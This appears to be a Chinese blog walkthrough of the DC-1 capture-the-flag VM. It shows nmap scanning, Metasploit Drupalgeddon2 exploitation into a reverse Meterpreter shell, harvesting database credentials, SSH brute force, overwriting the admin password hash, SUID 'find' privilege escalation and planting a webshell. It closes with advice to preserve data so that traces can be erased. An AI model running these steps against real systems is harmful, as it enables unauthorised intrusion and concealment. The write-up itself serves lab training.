DC-1靶场机渗透测试总结与全流程思路+后期复盘

DC-1靶场机渗透测试总结与全流程思路

实验环境

┌──(root㉿kali)-[~]
└─# uname -a                            
Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 GNU/Linux

两主机同使用VirtualBox搭建

靶机下载地址:http://www.five86.com/downloads/DC-1.zip

测试要求

拿到root权限和找出5个flag

信息打点

┌──(root㉿kali)-[~]
└─# nmap -sn 10.0.2.0/24
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-18 13:28 EST
Nmap scan report for 10.0.2.1
Host is up (0.00042s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 10.0.2.2
Host is up (0.00032s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 10.0.2.3
Host is up (0.00027s latency).
MAC Address: 08:00:27:E8:5E:9B (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.15
Host is up (0.00072s latency).
MAC Address: 08:00:27:E2:A5:6E (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.4
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.13 seconds

发现主机10.0.2.15,进行服务识别与端口扫描:

┌──(root㉿kali)-[~]
└─# nmap -p-  -sV 10.0.2.15
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-18 13:32 EST
Nmap scan report for 10.0.2.15
Host is up (0.00041s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
47255/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:E2:A5:6E (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.17 seconds

访问web服务页面,发现内容管理系统为Drupal7.xx版本:

在这里插入图片描述

目录爆破不是必须的,所以这里按下不表,直接在公网上进行进一步的信息搜集

针对于apache2.2.22版本存在的漏洞几乎找不到有效poc,那么入手点则应该在CMS上,搜索发现其存在SQL注入漏洞与RCE,考虑使用msf进行一定利用

开始测试

启动msf进行检索:

在这里插入图片描述

我们进行尝试,使用第一个,发现建立不了会话:

msf6 exploit(unix/webapp/drupal_coder_exec) > set rhosts 10.0.2.15
rhosts => 10.0.2.15
msf6 exploit(unix/webapp/drupal_coder_exec) > run

[*] Started reverse TCP handler on 10.0.2.4:4444 
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/drupal_coder_exec) >

使用第二个,成功连接:

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 10.0.2.15
rhost => 10.0.2.15
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 10.0.2.4:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (39927 bytes) to 10.0.2.15
[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.15:52832) at 2023-11-18 14:27:17 -0500

meterpreter >

在这里插入图片描述

flag1

查看当前目录,发现一个flag1,内容为一个提示:

meterpreter > cat flag1.txt                                                                             
Every good CMS needs a config file - and so do you.

很快啊,当时啪的一下,搜索了配置文件路径:

3.6 sites

这个文件夹下面用来放置Drupal的配置文件、第3方模块与主题、自定义模块与主题等等。你从第3方模块库中下载的模块,通常都放在sites/all/modules/standard下面;而你自己编写的模块,则放在sites/all/modules/custom目录下面。我们对Drupal所进行的任何修改,基本上都放在这个文件夹下进行。

在sites下面有一个名为default的文件夹,里面包含了Drupal默认配置文件— default.settings.php。在Drupal安装过程中,系统将会基于你提供的数据库帐号信息和这个默认文件,为你自动创建一个settings.php文件。对于多站点安装,配置文件通常位于sites/www.example.com/settings.php。

内容地址:https://www.thinkindrupal.com/book/export/html/5330

flag2

直接到达路径,拉出对应文件,在文件开始发现以下内容:

在这里插入图片描述

那么根据提示,我们下一步应该着手此文件,来进行下一步操作,而基于后端的问题无非关于CMS,DATABASE,SERVER,我们下一步应该着眼数据库,在flag2下面有一个数据库配置数组,我们得到了数据库密码,数据库类型和用户名:

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

flag4

返回meterpreter,查看一下/etc/passwd,得到以下内容,意外惊喜,发现了flag4

meterpreter > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:104::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
meterpreter > cat flag4.txt
Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy.  Or maybe it is?

flag3

目前暂时找不到其他着手点,大胆猜测一波,根据用户列表,我们尝试进行ssh爆破,在msfconsole使用ssh_login

msf6 > search ssh_login

Matching Modules
================

   #  Name                                    Disclosure Date  Rank    Check  Description
   -  ----                                    ---------------  ----    -----  -----------
   0  auxiliary/scanner/ssh/ssh_login                          normal  No     SSH Login Check Scanner
   1  auxiliary/scanner/ssh/ssh_login_pubkey                   normal  No     SSH Public Key Login Scanner


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey

msf6 > use 0
msf6 auxiliary(scanner/ssh/ssh_login) >

简单设置后直接梭哈:

在这里插入图片描述

登录ssh然后登录数据库:

在这里插入图片描述

我们会在drupaldb的内部发现users表,然后获得admin的密码hash为:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

在这里插入图片描述

直接爆破的话,肯定是不现实的,既然我们有了数据库的修改权限,那么我们直接替换掉hash值即可,简单搜索:

在Drupal 7的安装目录中的scripts目录下,有一些Drupal 7开发者准备好的PHP脚本,可以执行一些高级操作。其中有一个脚本名为:password-hash.sh,它的功能是传入一个密码(字符串),即返回 加密后的密码字符串。在使用前要将php的php.exe路径加入系统的PATH环境变量中,这样在任何目录中均可以直接使用php.exe(我使用的是 Windows 7操作系统)。

假设密码是“ilovedrupal”,那么需使用下面的命令获得新密码:

php scripts/password-hash.sh ‘ilovedrupal’ > new_pwd.txt

这样新的密码即存放在new_pwd.txt文件中,打开后,hash后面的字符串即为加密后的密码。如下。

password: ‘ilovedrupal’ hash: S S SCv8Wnz0EiNg3Bi19w27wo.uITAX.dnYxbiMeYcSHIvC8TFLVdKB9
————————————————
版权声明:本文为CSDN博主「LKEG」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_33345090/article/details/113563493

那么我们返回系统shell,按照指示生成hash即可,然后发现执行失败,无法打开文件,我们直接执行可以获得提示,原来必须在安装的根目录执行:

在这里插入图片描述

我们执行完毕,获得hash:

flag4@DC-1:/var/www$ php ./scripts/password-hash.sh "123456"

password: 123456                hash: $S$DWhGNYnxB98BMgaklck6SqSTp1pl2QpuO.OsZwZyNCV3EMshVDIc

进入数据库,替换hash值:

mysql> update drupaldb.users
    -> set pass='$S$DWhGNYnxB98BMgaklck6SqSTp1pl2QpuO.OsZwZyNCV3EMshVDIc'
    -> where name='admin'
    -> ;
Query OK, 1 row affected (0.04 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> 

登录admin后发现页面上多出来了几个选项,在find content中可以发现flag3

在这里插入图片描述

并且flag3提示我们权限问题,返回flag4的ssh会话,我们进行尝试:

在这里插入图片描述

flag5

根据第四个flag的提示。我们进入root目录,果不其然,权限不足,那么最后一条应该是考虑进行提权:

flag4@DC-1:/$ cd root
-bash: cd: root: Permission denied
flag4@DC-1:/$ 

我们进入ssh会话,开始寻找可以用于提权的服务,根据经验,我们习惯性查看一下sudo命令情况,sudo命令被禁用了,无法使用,我们又去查看/usr/share/applications

flag4@DC-1:/etc$ sudo -l
-bash: sudo: command not found
flag4@DC-1:/etc$ ls /usr/share/applications/
debian-uxterm.desktop  debian-xterm.desktop  display.im6.desktop  mutt.desktop  python2.7.desktop  reportbug.desktop
flag4@DC-1:/etc$ 

在这里我们发现了python2.7,但是没有sudo,也无法利用,然后我们慢慢尝试,发现find命令可以使用:

在这里插入图片描述

那我们尝试find提权,执行:

find /usr/bin/find -exec cat /root/thefinalflag.txt \;

得到以下结果,DC-1游览结束:

flag4@DC-1:/$ find /usr/bin/find -exec cat /root/thefinalflag.txt \;
Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
flag4@DC-1:/$

测试总结

在此靶场中,使用了metaspolit的基础操作,但是并未涉及到木马生成与上传然后getshell,然后我们获取到了CMS的关键配置文件,然后对靶机中的passwd进行了获取,最后的以进入数据库操作,在网站后台获取到了关键信息,最后进行了提权,则我们在面对靶机应该有以下思路:

  • CMS的信息搜集与利用,漏洞披露,关键配置文件
  • 目标上存在的用户信息,用户权限详情
  • 网站的后台管理页面探测,网站密码的生成策略
  • 数据库入侵的操作,对于加密密码的处理
  • 对于当前用户的权限提升(非root)

后期复盘

前期的信息打点补充之使用fscan

在信息打点时我们还应该考虑主动进行漏扫,这里较快找到可用poc的方式应该是使用漏扫工具

我们打开fscan,进行漏扫:

在这里插入图片描述

这样将会大大节省我们寻找exp的时间

解决shell的交互性问题

由于meterpreter的交互性只能说是能用的水平,所以我们为了更好的体验,可以考虑丢个一句话进入网站根目录,然后使用蚁剑连接,菜刀也行(界面比较老了),冰蝎的话犯不着,有点麻烦:

在这里插入图片描述

然后使用蚁剑一连,舒适度直线上升:

在这里插入图片描述

按顺序拿到flag的方法

经过复盘,我发现我们是完全可以按顺序拿到flag的,我们在上述弹出shell传马过后,我们完全可以借助蚁剑来管理我们的数据库,设置如图所示:

在这里插入图片描述

第二种进入数据库的方法navicat隧道

这种方法是复盘时发现的,我们还可以向服务器传递navicat的隧道文件来接管数据库,为了方便,我们以蚁剑直接上传上传navicat(我这里临时下载了一个navicat16,可能不一样)安装目录下的resource文件中的ntunnel_mysql.php,然后打开navicat选择隧道连接:

在这里插入图片描述

我们可以看到连接成功:

直接访问靶场加上/ntunnel_mysql.php会出现测试页面

在这里插入图片描述

find提权的另一种方式
find / -perm -u=s -type f 2>/dev/null

个人看法(偏实际应用)

个人看法(偏实际应用)

  • 在进行攻击时,考虑保留有原始信息,以便进行痕迹抹除
  • 进行测试时,应该尽量不对系统发起大量请求,给后期处理造成较大难度
  • 不到必不得以,不使用爆破等手段
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值